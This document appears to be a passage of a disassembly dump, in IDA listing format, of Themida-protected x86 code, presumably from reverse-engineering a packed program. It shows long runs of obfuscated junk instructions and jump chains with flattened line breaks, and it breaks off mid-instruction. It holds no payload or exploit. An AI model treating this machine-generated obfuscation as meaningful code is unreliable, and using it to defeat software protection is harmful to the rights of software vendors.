Themida_:005AB4ADj push esi sub esp, 4 mov [esp], ebp mov ebp, 3231321Dh xor [esp+4], ebp pop ebp jmp loc_5AEE28 ; --------------------------------------------------------------------------- loc_5A9965: ; CODE XREF: Themida_:005A7483j mov [esp], ebx push 0A1A7F69h pop ebx shl ebx, 2 push eax jmp loc_5AA962 ; --------------------------------------------------------------------------- loc_5A9977: ; CODE XREF: Themida_:00598FD2j push esi mov esi, 69FD2937h not esi jmp loc_598CA9 ; --------------------------------------------------------------------------- loc_5A9984: ; CODE XREF: Themida_:005ACF4Bj jmp loc_5AAB0C ; --------------------------------------------------------------------------- loc_5A9989: ; CODE XREF: Themida_:005AEF8Fj xor esi, [esp] mov esp, [esp] jmp loc_5A7189 ; --------------------------------------------------------------------------- loc_5A9994: ; CODE XREF: Themida_:00599376j pop ebx push esi push ebx mov ebx, 15071E1Bh push ebx jmp loc_5AEB0D ; --------------------------------------------------------------------------- loc_5A99A2: ; CODE XREF: Themida_:0059CD48j mov ebx, 542C13B1h xor edx, ebx pop ebx jmp loc_5AFA55 ; --------------------------------------------------------------------------- loc_5A99AF: ; CODE XREF: Themida_:005AB2D5j mov edx, [esp] add esp, 4 push edi mov edi, 4 jmp loc_59BC7A ; --------------------------------------------------------------------------- loc_5A99C0: ; CODE XREF: Themida_:0059955Ej push edx push esi jmp loc_5A5CF5 ; --------------------------------------------------------------------------- loc_5A99C7: ; CODE XREF: Themida_:loc_5A61E8j add esi, 58BD57FAh jmp loc_5AD0F3 ; --------------------------------------------------------------------------- loc_5A99D2: ; CODE XREF: Themida_:005A9549j mov ebp, 2EE2898Dh jmp loc_59A7D5 ; --------------------------------------------------------------------------- loc_5A99DC: ; CODE XREF: Themida_:0059B207j ; Themida_:005AC753j sub edi, 1 sub esp, 4 jmp loc_5A91FC ; --------------------------------------------------------------------------- loc_5A99EA: ; CODE XREF: Themida_:005A51D4j push 5E42h mov [esp], ecx jmp loc_5A533E ; --------------------------------------------------------------------------- loc_5A99F7: ; CODE XREF: Themida_:005A01D1j or esi, 245A1737h shr esi, 5 sub esi, 13FF3FBh jmp loc_5A619C ; --------------------------------------------------------------------------- loc_5A9A0B: ; CODE XREF: Themida_:005A6FCEj ; Themida_:005A7607j sub esp, 4 mov [esp], edx mov edx, 2Ch jmp loc_5AEF1B ; --------------------------------------------------------------------------- loc_5A9A1E: ; CODE XREF: Themida_:loc_5A1C0Bj add ebx, 6588C861h mov ebp, ebx jmp loc_5AAC0B ; --------------------------------------------------------------------------- loc_5A9A2B: ; CODE XREF: Themida_:005A43C9j push ebx mov bh, 0D0h xor bh, 0Eh or cl, bh pop ebx sub cl, 0FFh add cl, 38h jmp loc_59F215 ; --------------------------------------------------------------------------- loc_5A9A3F: ; CODE XREF: Themida_:0059CB64j add esp, 4 push edx mov edx, 143D16CFh sub edx, 0F724A1h jmp loc_5AD0C1 ; --------------------------------------------------------------------------- loc_5A9A53: ; CODE XREF: Themida_:0059BACDj mov edi, 4 jmp loc_5A9F12 ; --------------------------------------------------------------------------- loc_5A9A5D: ; CODE XREF: Themida_:0059FD25j add dword ptr [esp+4], 1F7C7080h sub [esp+4], eax jmp loc_5ACB9C ; --------------------------------------------------------------------------- loc_5A9A6E: ; CODE XREF: Themida_:005A6F92j mov edi, esp add edi, 4 jmp loc_59EB3B ; --------------------------------------------------------------------------- loc_5A9A7B: ; CODE XREF: Themida_:005ADC68j pop esp jmp loc_5AE0E0 ; --------------------------------------------------------------------------- loc_5A9A81: ; CODE XREF: Themida_:0059DFF9j add esp, 4 add esp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5A36D7 ; --------------------------------------------------------------------------- loc_5A9A95: ; CODE XREF: Themida_:005AD80Bj inc dx sub esp, 2 mov [esp], bp mov bp, 793Ah or dx, bp pop bp jmp loc_5A8389 ; --------------------------------------------------------------------------- loc_5A9AAC: ; CODE XREF: Themida_:005A70A1j mov edi, 45387BACh sub edi, 6F1855EAh jmp loc_5A871E ; --------------------------------------------------------------------------- loc_5A9ABC: ; CODE XREF: Themida_:005A934Cj pop esi jmp loc_5A1672 ; --------------------------------------------------------------------------- loc_5A9AC2: ; CODE XREF: Themida_:005A0A1Ej pop edx add bl, cl sub bl, 59h pop cx movzx eax, al push small 3A5Ah mov [esp], ax jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A9ADA: ; CODE XREF: Themida_:005AF832j sub edi, 4 push edi jmp loc_59B1C5 ; --------------------------------------------------------------------------- loc_5A9AE6: ; CODE XREF: Themida_:0059D9C9j xchg edi, [esp] jmp loc_5AD87D ; --------------------------------------------------------------------------- loc_5A9AEE: ; CODE XREF: Themida_:005AB686j xchg ecx, [esp] pop esp mov [esp], ax jmp loc_5A53E6 ; --------------------------------------------------------------------------- loc_5A9AFB: ; CODE XREF: Themida_:005AAD8Fj push eax mov eax, 37FD59DEh shl eax, 6 jnp loc_5AC4A0 inc eax jp loc_59D193 mov edx, ecx pop esi loc_5A9B14: ; CODE XREF: Themida_:loc_599059j ; Themida_:0059E1B9j shr dl, 2 dec dl jmp loc_5A79EC ; --------------------------------------------------------------------------- loc_5A9B1E: ; CODE XREF: Themida_:005A4C7Ej push eax push ebp push 73DC1BADh jmp loc_59E142 ; --------------------------------------------------------------------------- loc_5A9B2A: ; CODE XREF: Themida_:00599114j add esi, 4 jmp loc_5AEACE ; --------------------------------------------------------------------------- loc_5A9B35: ; CODE XREF: Themida_:005A4319j push esp pop edi push 53Eh mov [esp], eax mov eax, 4 add edi, eax mov eax, [esp] add esp, 4 push eax mov eax, 5FC213D8h jmp loc_59C615 ; --------------------------------------------------------------------------- loc_5A9B57: ; CODE XREF: Themida_:005AF815j sub ecx, 7C9DA0E2h mov ebp, ecx pop ecx jmp loc_5ADDDD ; --------------------------------------------------------------------------- loc_5A9B65: ; CODE XREF: Themida_:0059E498j pop ebx mov [eax], ecx pop eax pop ecx jmp loc_59E7BE ; --------------------------------------------------------------------------- loc_5A9B6F: ; CODE XREF: Themida_:0059B952j push edx mov edx, 40544ABEh or edx, 7E5D1BFBh shl edx, 2 shr edx, 5 jmp loc_5A45E7 ; --------------------------------------------------------------------------- loc_5A9B86: ; CODE XREF: Themida_:0059CEB8j mov edx, 61B9649Ch mov ecx, 61B9649Dh sub ecx, edx jmp loc_5A0115 ; --------------------------------------------------------------------------- loc_5A9B97: ; CODE XREF: Themida_:005AE6B1j and ecx, 1B73484Ah ja loc_59B552 inc ecx jg loc_59BAC5 jmp loc_5AC64A ; --------------------------------------------------------------------------- loc_5A9BAF: ; CODE XREF: Themida_:loc_5A28D2j push edx mov edx, 71682ABDh xor esi, edx mov edx, [esp] add esp, 4 mov ebp, esi pop esi push ebp mov ebp, 3C345579h mov eax, 32890D0Dh jmp loc_5A0C25 ; --------------------------------------------------------------------------- loc_5A9BD0: ; CODE XREF: Themida_:0059BA19j push eax jmp loc_5ABB8B ; --------------------------------------------------------------------------- loc_5A9BD6: ; CODE XREF: Themida_:005A6941j jmp loc_5AABF1 ; --------------------------------------------------------------------------- loc_5A9BDB: ; CODE XREF: Themida_:0059E3C1j jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A9BE0: ; CODE XREF: Themida_:005A00C7j add edi, 46EF22A9h and edi, 4C874AFAh jnz loc_5AD571 or edi, 183F156Dh sub al, 40h mov dh, 0E7h loc_5A9BFC: ; CODE XREF: Themida_:0059E7ADj pop edx add ebx, ebp sub esp, 4 mov [esp], edi mov edi, 42090643h add ebx, edi jmp loc_5AD9D1 ; --------------------------------------------------------------------------- loc_5A9C14: ; CODE XREF: Themida_:005AA67Bj mov ebx, [esp] push eax jmp loc_5ADDB1 ; --------------------------------------------------------------------------- loc_5A9C1D: ; CODE XREF: Themida_:005995CDj add eax, ebx pop ebx mov ebp, eax mov eax, [esp] push 27F9h mov [esp], ebx mov ebx, esp add ebx, 4 push edx jmp loc_599E8D ; --------------------------------------------------------------------------- loc_5A9C3B: ; CODE XREF: Themida_:0059A8EFj ; Themida_:005AE6BDj inc eax jmp loc_598B90 ; --------------------------------------------------------------------------- loc_5A9C41: ; CODE XREF: Themida_:005A3DE9j mov ebp, 5317151Fh shl ebp, 3 jp loc_5A8488 not ebp xor ebp, 3BE66E6Ah sub ebp, 3D9EF6FDh mov edx, ebp pop ebp add edx, 4EE26D5Ah shl edx, 6 add edx, 1A597210h shl edx, 1 jmp loc_59D270 ; --------------------------------------------------------------------------- loc_5A9C76: ; CODE XREF: Themida_:0059951Dj mov edi, [esp] add esp, 4 xchg edx, [esp] mov esp, [esp] push dword ptr [esp] push dword ptr [esp] pop eax push edi jmp loc_5A4377 ; --------------------------------------------------------------------------- loc_5A9C8F: ; CODE XREF: Themida_:0059A084j mov [esp], ebp push ebx push 6BBE1B1Bh jmp loc_5AC96F ; --------------------------------------------------------------------------- loc_5A9C9D: ; CODE XREF: Themida_:005AC148j sub esp, 4 mov [esp], ebx push 4C3A0E11h push dword ptr [esp] mov ebx, [esp] add esp, 4 jmp loc_5A9884 ; --------------------------------------------------------------------------- loc_5A9CBC: ; CODE XREF: Themida_:005A705Dj pop ebx add al, ch jmp loc_5ACE1A ; --------------------------------------------------------------------------- loc_5A9CC4: ; CODE XREF: Themida_:0059A1C6j jns loc_599F4B or edi, 438336Ch jmp loc_5A5F56 ; --------------------------------------------------------------------------- loc_5A9CD5: ; CODE XREF: Themida_:0059D280j inc eax shr eax, 8 and eax, 5E0B0DD4h neg eax xor eax, 0B646ED29h sub ebp, eax mov eax, [esp] jmp loc_5A2C5C ; --------------------------------------------------------------------------- loc_5A9CEF: ; CODE XREF: Themida_:0059B2BCj push esp pop ecx push edx mov edx, 4 add ecx, 492F74D9h add ecx, edx sub ecx, 492F74D9h jmp loc_5AF6BC ; --------------------------------------------------------------------------- loc_5A9D0A: ; CODE XREF: Themida_:005AE14Cj sub esi, 6B604F99h jnp loc_59C8ED xor esi, 0B4A6D0E3h mov edx, esi pop esi sub ebx, edx jmp loc_5AB766 ; --------------------------------------------------------------------------- loc_5A9D26: ; CODE XREF: Themida_:0059E72Fj jo loc_5A0D01 neg eax jl loc_59DB02 xor eax, 67A1525Eh xor eax, 23F25F76h mov esi, eax pop eax jmp loc_5A2C21 ; --------------------------------------------------------------------------- loc_5A9D46: ; CODE XREF: Themida_:0059BD32j sub eax, 166932F1h sub eax, 645014E4h xor [eax], ebx pop eax jmp loc_5A65A2 ; --------------------------------------------------------------------------- loc_5A9D58: ; CODE XREF: Themida_:005A7D95j add esp, 4 add ebp, 4 jmp loc_59EB06 ; --------------------------------------------------------------------------- loc_5A9D66: ; CODE XREF: Themida_:005AC389j xchg ecx, [esp] jmp loc_5AF8FB ; --------------------------------------------------------------------------- loc_5A9D6E: ; CODE XREF: Themida_:005AEB21j push ebx mov ebx, 74A97845h mov ecx, ebx pop ebx push ebx mov ebx, 78316A1Dh jmp loc_5AB0F6 ; --------------------------------------------------------------------------- loc_5A9D82: ; CODE XREF: Themida_:005A75E9j neg ebx xor ebx, 84E432BBh sub ecx, ebx pop ebx jmp loc_5A1517 ; --------------------------------------------------------------------------- loc_5A9D92: ; CODE XREF: Themida_:005A012Cj push ebp push ebx mov ebx, 1BFCDCDEh mov ebp, ebx pop ebx add ecx, ebp mov ebp, [esp] jmp loc_59C660 ; --------------------------------------------------------------------------- loc_5A9DA6: ; CODE XREF: Themida_:0059D91Dj sub ecx, eax pop eax sub ecx, 1746197Dh xor ecx, 6F33417h sub eax, ecx pop ecx add eax, ecx push ebx mov ebx, 438194Ch inc ebx jmp loc_5ADB49 ; --------------------------------------------------------------------------- loc_5A9DC6: ; CODE XREF: Themida_:005AA712j mov [esp], esi push esp push dword ptr [esp] pop esi add esp, 4 add esi, 4 push edx mov edx, 4 jmp loc_5AF92B ; --------------------------------------------------------------------------- loc_5A9DE2: ; CODE XREF: Themida_:loc_5A4F0Bj not eax add eax, 0CE517951h push 0 jmp loc_5A2B37 ; --------------------------------------------------------------------------- loc_5A9DF3: ; CODE XREF: Themida_:0059B5C9j xor ebp, 3E107345h xor ebp, 76753226h add eax, 3BDA60FBh add eax, ebp sub eax, 3BDA60FBh pop ebp xchg eax, [esp] mov esp, [esp] jmp loc_5AC7C2 ; --------------------------------------------------------------------------- loc_5A9E17: ; CODE XREF: Themida_:005AA901j push ecx mov ecx, 5CB513A3h mov ebx, ecx jmp loc_5A1AA9 ; --------------------------------------------------------------------------- loc_5A9E24: ; CODE XREF: Themida_:005AAEF4j push ebp mov ebp, 4 sub edi, ebp jmp loc_5AE9C7 ; --------------------------------------------------------------------------- loc_5A9E31: ; CODE XREF: Themida_:0059B7E4j push ecx mov cl, 0CDh mov dl, cl pop ecx add dl, 9 or dl, 55h push eax mov al, 3Eh xor dl, al pop eax sub al, dl pop edx sub al, 93h pop ecx mov cx, [esp] jmp loc_59D31F ; --------------------------------------------------------------------------- loc_5A9E52: ; CODE XREF: Themida_:00598E40j xor esi, 0E979A08Bh add ebx, esi pop esi add ebx, edi sub ebx, 2CF9209Ah push dword ptr [esp] pop edi add esp, 4 sub esp, 4 mov [esp], esi push ebp mov ebp, 4A890CEAh xor ebp, 58CC2D4Fh or ebp, 2E9A0315h inc ebp not ebp sub ebp, 0C120DC45h mov esi, ebp jmp loc_5A96EE ; --------------------------------------------------------------------------- loc_5A9E95: ; CODE XREF: Themida_:005A88D6j sub edi, ecx jmp loc_5A68BA ; --------------------------------------------------------------------------- loc_5A9E9C: ; CODE XREF: Themida_:0059A60Aj add esp, 4 pop dword ptr [esp] jmp loc_5AD435 ; --------------------------------------------------------------------------- loc_5A9EA7: ; CODE XREF: Themida_:005ACF88j mov ebp, 317E7D49h sub esp, 4 mov [esp], ebp add dword ptr [esp], 0FFFFFFFFh jmp loc_598CDF ; --------------------------------------------------------------------------- loc_5A9EC1: ; CODE XREF: Themida_:005A331Fj mov edx, edi pop edi pop esi add [esp+8], edx pop edx add [esp+4], ebp sub dword ptr [esp+4], 1C6E2218h pop ebp jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5A9EDC: ; CODE XREF: Themida_:0059C830j ; Themida_:005AC524j mov edx, 473019Ah not edx and edx, 0BB819AEh sub edx, 771D4890h sub edx, 0B4A82C7Ch sub ebx, edx jmp loc_5A1B43 ; --------------------------------------------------------------------------- loc_5A9EFC: ; CODE XREF: Themida_:005A7D1Fj push ebp push eax mov eax, 4 mov ebp, eax jmp loc_5ADCAF ; --------------------------------------------------------------------------- loc_5A9F0A: ; CODE XREF: Themida_:0059A29Aj mov ecx, [esp] jmp loc_59F4E4 ; --------------------------------------------------------------------------- loc_5A9F12: ; CODE XREF: Themida_:005A9A58j add edx, edi pop edi jmp loc_5A6A6C ; --------------------------------------------------------------------------- loc_5A9F1A: ; CODE XREF: Themida_:005A79C2j mov esp, [esp] mov [esp], edx push edx mov edx, 0B0A45C8h add [esp+4], edx pop edx pop dword ptr [edi+20h] push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_59D59C ; --------------------------------------------------------------------------- loc_5A9F3F: ; CODE XREF: Themida_:005A1ED6j push dword ptr [esp] mov eax, [esp] jmp loc_5A6D91 ; --------------------------------------------------------------------------- loc_5A9F4A: ; CODE XREF: Themida_:005A9F95j mov [esp], ebp mov ebp, 787B0407h add esi, ebp pop ebp jmp loc_5A46DC ; --------------------------------------------------------------------------- loc_5A9F5A: ; CODE XREF: Themida_:005993F7j add esi, 3C21517Bh sub esi, 3D24349Bh pop eax jmp loc_59C123 ; --------------------------------------------------------------------------- loc_5A9F6C: ; CODE XREF: Themida_:005A8829j mov [esp], ecx mov ecx, 0 sub ecx, esi mov esi, ecx pop ecx push 0 sub dword ptr [esp], 337C1AD3h sub [esp], esi add dword ptr [esp], 337C1AD3h pop esi push 9E5h jmp loc_5A9F4A ; --------------------------------------------------------------------------- loc_5A9F9A: ; CODE XREF: Themida_:005A3B81j push dword ptr [esp] pop ebp add esp, 4 xor edx, 62DC2479h shr edx, 4 add edx, 46795485h xor eax, edx jmp loc_5AFDD7 ; --------------------------------------------------------------------------- loc_5A9FBA: ; CODE XREF: Themida_:00599D3Bj mov edi, [esp] add esp, 4 mov esi, 0A0327FF7h sub esi, edi jmp loc_5A63C1 ; --------------------------------------------------------------------------- loc_5A9FCF: ; CODE XREF: Themida_:005A80CAj inc ch add ch, 0C1h mov dl, ch jmp loc_5A090D ; --------------------------------------------------------------------------- loc_5A9FDB: ; CODE XREF: Themida_:0059EF5Fj sub ebp, ecx add ebp, 37747F73h mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_5ACD23 ; --------------------------------------------------------------------------- loc_5A9FF7: ; CODE XREF: Themida_:0059BA3Cj mov [esp], eax mov eax, 31BA6796h xor eax, 31BA6792h jmp loc_59E030 ; --------------------------------------------------------------------------- loc_5AA009: ; CODE XREF: Themida_:005A0977j push ebx jmp loc_5AAB2A ; --------------------------------------------------------------------------- loc_5AA00F: ; CODE XREF: Themida_:005A714Dj jnb loc_5AEEF1 and ebx, 0E02D7Dh jnp loc_5A9810 loc_5AA021: ; CODE XREF: Themida_:loc_5AF76Ej xor edi, 398B7D17h add edi, 1B34CFB9h jmp loc_5ADF81 ; --------------------------------------------------------------------------- loc_5AA032: ; CODE XREF: Themida_:005AF262j mov esp, [esp] jmp loc_5A4934 ; --------------------------------------------------------------------------- loc_5AA03A: ; CODE XREF: Themida_:005992E3j pop edx push ecx mov ecx, 4 add edi, 3B1C27E7h jmp loc_5AEE77 ; --------------------------------------------------------------------------- loc_5AA04C: ; CODE XREF: Themida_:005A73B9j pop ebx mov ch, ah pop eax pop edx pop ebx xor al, ch mov cx, [esp] push edi mov edi, esp add edi, 4 add edi, 2 jmp loc_59F429 ; --------------------------------------------------------------------------- loc_5AA069: ; CODE XREF: Themida_:0059E3D2j mov ebp, 4 add [esp+4], ebp mov ebp, [esp] jmp loc_5AE599 ; --------------------------------------------------------------------------- loc_5AA07A: ; CODE XREF: Themida_:005ADACDj push ebx mov ebx, 7FF00BFBh inc ebx add ebx, 1 neg ebx add ebx, 7F163300h or ebx, 1DD73877h add ebx, 56B7D664h sub edi, 1E24506Bh jmp loc_5AA87F ; --------------------------------------------------------------------------- loc_5AA0A3: ; CODE XREF: Themida_:005AB855j push dword ptr [esp] pop edx add esp, 4 shl bx, 3 push bp push small 79C2h pop bp xor bx, bp jmp loc_5993FC ; --------------------------------------------------------------------------- loc_5AA0BE: ; CODE XREF: Themida_:005ABFC7j pop ebp xor eax, ebp mov ebp, [esp] push 582Bh mov [esp], ebx push esp push dword ptr [esp] mov ebx, [esp] jmp loc_5A06D5 ; --------------------------------------------------------------------------- loc_5AA0D8: ; CODE XREF: Themida_:005A2000j mov esi, esp add esi, 4 push ecx push esi jmp loc_5A2308 ; --------------------------------------------------------------------------- loc_5AA0E7: ; CODE XREF: Themida_:005AD31Ej jmp loc_5A1CDB ; --------------------------------------------------------------------------- loc_5AA0EC: ; CODE XREF: Themida_:005A1641j push ebx jmp loc_5A6B94 ; --------------------------------------------------------------------------- loc_5AA0F2: ; CODE XREF: Themida_:005A7501j jmp loc_5A9810 ; --------------------------------------------------------------------------- loc_5AA0F7: ; CODE XREF: Themida_:005A3C7Dj mov eax, [esp] push eax mov eax, esp jmp loc_5A8B1F ; --------------------------------------------------------------------------- loc_5AA102: ; CODE XREF: Themida_:0059D9F7j shr edx, 7 add edx, 6C6FCB37h mov ebx, edx pop edx and ebx, 324D0FDEh shl ebx, 1 or ebx, 9A17DD0h neg ebx jmp loc_59F49F ; --------------------------------------------------------------------------- loc_5AA123: ; CODE XREF: Themida_:0059E1FDj mov edi, 0ED8DD2CFh add edx, edi pop edi sub edi, edx mov edx, [esp] push edi mov edi, esp jmp loc_59C108 ; --------------------------------------------------------------------------- loc_5AA138: ; CODE XREF: Themida_:00598A67j push 541B7C69h pop eax not eax or eax, 202B53E6h jbe loc_5ACB2F xor eax, 5F273921h jmp loc_5A6DC2 ; --------------------------------------------------------------------------- loc_5AA155: ; CODE XREF: Themida_:0059E50Dj mov ecx, 18FD689Bh mov ebx, ecx jmp loc_5AABB1 ; --------------------------------------------------------------------------- loc_5AA161: ; CODE XREF: Themida_:005AE786j mov eax, 0FF95AD5Fh jmp loc_5ABCE0 ; --------------------------------------------------------------------------- loc_5AA16B: ; CODE XREF: Themida_:0059E145j push ebp jmp loc_5AFD00 ; --------------------------------------------------------------------------- loc_5AA171: ; CODE XREF: Themida_:005A9671j add edi, 39C09D25h sub esp, 4 mov [esp], edi xor dword ptr [esp], 248E675Ah jmp loc_59B87A ; --------------------------------------------------------------------------- loc_5AA189: ; CODE XREF: Themida_:0059E0F5j push ecx mov ecx, 4 sub edx, ecx pop ecx jmp loc_5A51B8 ; --------------------------------------------------------------------------- mov ax, [esp] push esi push esp pop esi add esi, 4 sub esp, 4 jmp loc_59B532 ; --------------------------------------------------------------------------- loc_5AA1AC: ; CODE XREF: Themida_:0059FDD1j mov ebx, 51CE2391h inc ebx not ebx xor ebx, 0AE31DC6Fh sub edi, 150F06D8h add edi, ebx add edi, 150F06D8h pop ebx xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_599A46 ; --------------------------------------------------------------------------- loc_5AA1D7: ; CODE XREF: Themida_:0059F210j push dword ptr [esp] mov edx, [esp] add esp, 4 push 376Bh mov [esp], edi mov edi, esp jmp loc_598E03 ; --------------------------------------------------------------------------- loc_5AA1F2: ; CODE XREF: Themida_:005A3A3Bj xor al, 61h sub esp, 4 mov [esp], edx mov dl, 70h xor dl, 0EBh dec dl sub dl, 0CEh sub al, dl pop edx jmp loc_5A1830 ; --------------------------------------------------------------------------- loc_5AA20F: ; CODE XREF: Themida_:00599DDCj sub edi, edx pop edx add edi, ebp add edi, 378805E5h jmp loc_5A5027 ; --------------------------------------------------------------------------- loc_5AA21F: ; CODE XREF: Themida_:0059AA03j mov edx, 42750240h sub esi, edx pop edx pop ecx jmp loc_5A10DF ; --------------------------------------------------------------------------- loc_5AA22D: ; CODE XREF: Themida_:0059E637j add esi, ebp pop ebp add esi, 4 xchg esi, [esp] pop esp add ebx, 2 xchg ebx, [esp] mov esp, [esp] test cx, ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AA24C: ; CODE XREF: Themida_:005A4392j ; Themida_:005AB528j push edi mov edi, esp jmp loc_59A67A ; --------------------------------------------------------------------------- loc_5AA254: ; CODE XREF: Themida_:005A5573j add ebp, eax jmp loc_59EFCC ; --------------------------------------------------------------------------- loc_5AA25B: ; CODE XREF: Themida_:005AD046j mov edx, 73BD33B6h push esi mov esi, 7CA60EBFh add edx, esi jmp loc_5994DC ; --------------------------------------------------------------------------- loc_5AA26D: ; CODE XREF: Themida_:005AE93Cj add ebx, esi push dword ptr [esp] mov esi, [esp] jmp loc_5A60A8 ; --------------------------------------------------------------------------- loc_5AA27A: ; CODE XREF: Themida_:00599E9Aj pop ebp jmp loc_5AC9E0 ; --------------------------------------------------------------------------- loc_5AA280: ; CODE XREF: Themida_:0059C812j mov edi, 218A30A7h and edi, 5E6D1CC1h xor edi, 7A176B93h sub eax, edi pop edi xor eax, 85A37F3Ah add esi, eax pop eax push dword ptr [esp] pop ecx jmp loc_5AF6C8 ; --------------------------------------------------------------------------- loc_5AA2A5: ; CODE XREF: Themida_:005AA3E2j xchg eax, [esp] pop esp jmp loc_59FC8B ; --------------------------------------------------------------------------- loc_5AA2AE: ; CODE XREF: Themida_:005A2A11j add eax, ebp mov ebp, [esp] add esp, 4 add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_5A6F54 ; --------------------------------------------------------------------------- loc_5AA2CA: ; CODE XREF: Themida_:005AD780j pop dword ptr [esp] jmp loc_5A5D2E ; --------------------------------------------------------------------------- loc_5AA2D2: ; CODE XREF: Themida_:005997FAj pop ebx push esi mov esi, 4 sub edi, esi pop esi xchg edi, [esp] jmp loc_59DC36 ; --------------------------------------------------------------------------- loc_5AA2E4: ; CODE XREF: Themida_:005AEECFj push esp jmp loc_5AFD0E ; --------------------------------------------------------------------------- loc_5AA2EA: ; CODE XREF: Themida_:0059962Ej sub ebp, 0B4EDC1A2h mov ebx, ebp pop ebp sub ebp, 980519Ch sub ebp, ebx add ebp, 980519Ch pop ebx sub ebp, 473B51B6h add ebx, ebp pop ebp xor ebx, [esp] xor [esp], ebx jmp loc_5AC20C ; --------------------------------------------------------------------------- loc_5AA316: ; CODE XREF: Themida_:005A4AD7j pop ebp jmp loc_59A113 ; --------------------------------------------------------------------------- loc_5AA31C: ; CODE XREF: Themida_:005A97C5j add ebx, 3BED5547h push dword ptr [esp] pop ebp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], ebp jmp loc_5AD49B ; --------------------------------------------------------------------------- loc_5AA345: ; CODE XREF: Themida_:005A92BDj mov ebp, eax jmp loc_5A6BCD ; --------------------------------------------------------------------------- loc_5AA34C: ; CODE XREF: Themida_:005AA482j ; Themida_:005AE3C3j sub [esp+4], eax jmp loc_5996A7 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_5989A3 ; --------------------------------------------------------------------------- loc_5AA365: ; CODE XREF: Themida_:005ACB97j mov ebp, 2 add ebx, ebp mov ebp, [esp] jmp loc_598EA3 ; --------------------------------------------------------------------------- loc_5AA374: ; CODE XREF: Themida_:005A1958j sub bl, 8Bh sub bl, dh add bl, 8Bh push 0F6Ch mov [esp], ecx mov ch, 0Eh push bx jmp loc_5A2368 ; --------------------------------------------------------------------------- loc_5AA38D: ; CODE XREF: Themida_:0059F704j push bx not byte ptr [esp+1] pop bx jmp loc_59F85B ; --------------------------------------------------------------------------- loc_5AA39A: ; CODE XREF: Themida_:005AB49Fj mov edi, 585F0899h shl edi, 8 jmp loc_59B9B1 ; --------------------------------------------------------------------------- loc_5AA3A7: ; CODE XREF: Themida_:0059B912j xor esi, ebp pop ebp inc esi jmp loc_5AF096 ; --------------------------------------------------------------------------- loc_5AA3B0: ; CODE XREF: Themida_:005A0B8Dj not ecx xor ecx, 36840449h jmp loc_59E580 ; --------------------------------------------------------------------------- loc_5AA3BD: ; CODE XREF: Themida_:005AD5D6j mov ecx, [esp] add esp, 4 push ebp mov ebp, 2CEE1710h shr ebp, 5 jmp loc_5AEF57 ; --------------------------------------------------------------------------- loc_5AA3D4: ; CODE XREF: Themida_:0059FC86j add eax, 4 push ebp mov ebp, 4 add eax, ebp pop ebp jmp loc_5AA2A5 ; --------------------------------------------------------------------------- loc_5AA3E7: ; CODE XREF: Themida_:005A4D18j sub bh, 84h add al, bh pop ebx mov ebx, [esp] jmp loc_5AB2DA ; --------------------------------------------------------------------------- loc_5AA3F5: ; CODE XREF: Themida_:005A0BFDj push eax mov eax, 4B08137Ch add eax, 0FFFFFFFFh jmp loc_59C274 ; --------------------------------------------------------------------------- loc_5AA405: ; CODE XREF: Themida_:005A34DDj pop ebx add edx, 0F19BB041h sub ebx, edx pop edx shl ebx, 4 jnz loc_5AFA95 sub ebx, 6671B7ACh mov ebp, ebx pop ebx add edi, ebp loc_5AA423: ; CODE XREF: Themida_:005A0802j pop edi push 5BC3h mov [esp], edx jmp loc_5A16EC ; --------------------------------------------------------------------------- loc_5AA431: ; CODE XREF: Themida_:005A0DA3j pop esp sub esp, 4 mov [esp], ebp sub esp, 4 mov [esp], ecx push 25FA104Ch jmp loc_59A411 ; --------------------------------------------------------------------------- loc_5AA448: ; CODE XREF: Themida_:005A5339j mov eax, 30F75CC4h xor eax, 4391D36h sub ebx, eax pop eax push edi mov edi, 62355DC2h add ebx, edi pop edi add ebx, edx push 78B6h mov [esp], eax jmp loc_5ABDBE ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_5A95D7 ; --------------------------------------------------------------------------- loc_5AA475: ; CODE XREF: Themida_:005A336Bj sub eax, 0DBEB17D1h sub dword ptr [esp+4], 68EE430Ch jmp loc_5AA34C ; --------------------------------------------------------------------------- loc_5AA487: ; CODE XREF: Themida_:loc_5AE9A0j shr eax, 5 push edi jmp loc_5AE1FB ; --------------------------------------------------------------------------- loc_5AA490: ; CODE XREF: Themida_:005AE37Bj push edi mov edi, 60D26C0Ch push ebp jmp loc_5A478D ; --------------------------------------------------------------------------- loc_5AA49C: ; CODE XREF: Themida_:005ADCD5j pop edx push 4619h mov [esp], ebx mov ebx, 374F7382h jmp loc_5AD440 ; --------------------------------------------------------------------------- loc_5AA4AF: ; CODE XREF: Themida_:005AF74Ej add esp, 4 dec edi or edi, 6FC76684h sub edi, 349035EFh xor edi, 5B344B90h jmp loc_5ACA97 ; --------------------------------------------------------------------------- loc_5AA4CA: ; CODE XREF: Themida_:0059EB8Fj ; Themida_:005A17A7j pop edx push ax sub esp, 4 mov [esp], ecx jmp loc_5A24DB ; --------------------------------------------------------------------------- loc_5AA4DB: ; CODE XREF: Themida_:loc_5A5E1Cj or bl, 9Ch jmp loc_5ABBF5 ; --------------------------------------------------------------------------- loc_5AA4E3: ; CODE XREF: Themida_:0059C5B2j sub esp, 2 mov [esp], dx mov dx, 15E8h jmp loc_5AEDFC ; --------------------------------------------------------------------------- loc_5AA4F3: ; CODE XREF: Themida_:005AC658j sub esi, 3F4B2D51h add esi, ecx add esi, 3F4B2D51h pop ecx add esi, 4 xchg esi, [esp] pop esp sub esp, 4 mov [esp], edx mov edx, 3E3A3825h sub edx, 2C92703Bh push 0 sub [esp], edx jmp loc_59BF1D ; --------------------------------------------------------------------------- loc_5AA527: ; CODE XREF: Themida_:0059B818j sub eax, 46272752h jnz loc_5993A8 add eax, 0FD32F44Bh mov ecx, eax pop eax push esi mov dh, ah push edi loc_5AA53E: ; CODE XREF: Themida_:loc_59A550j inc edi xor edi, 2F753999h ja 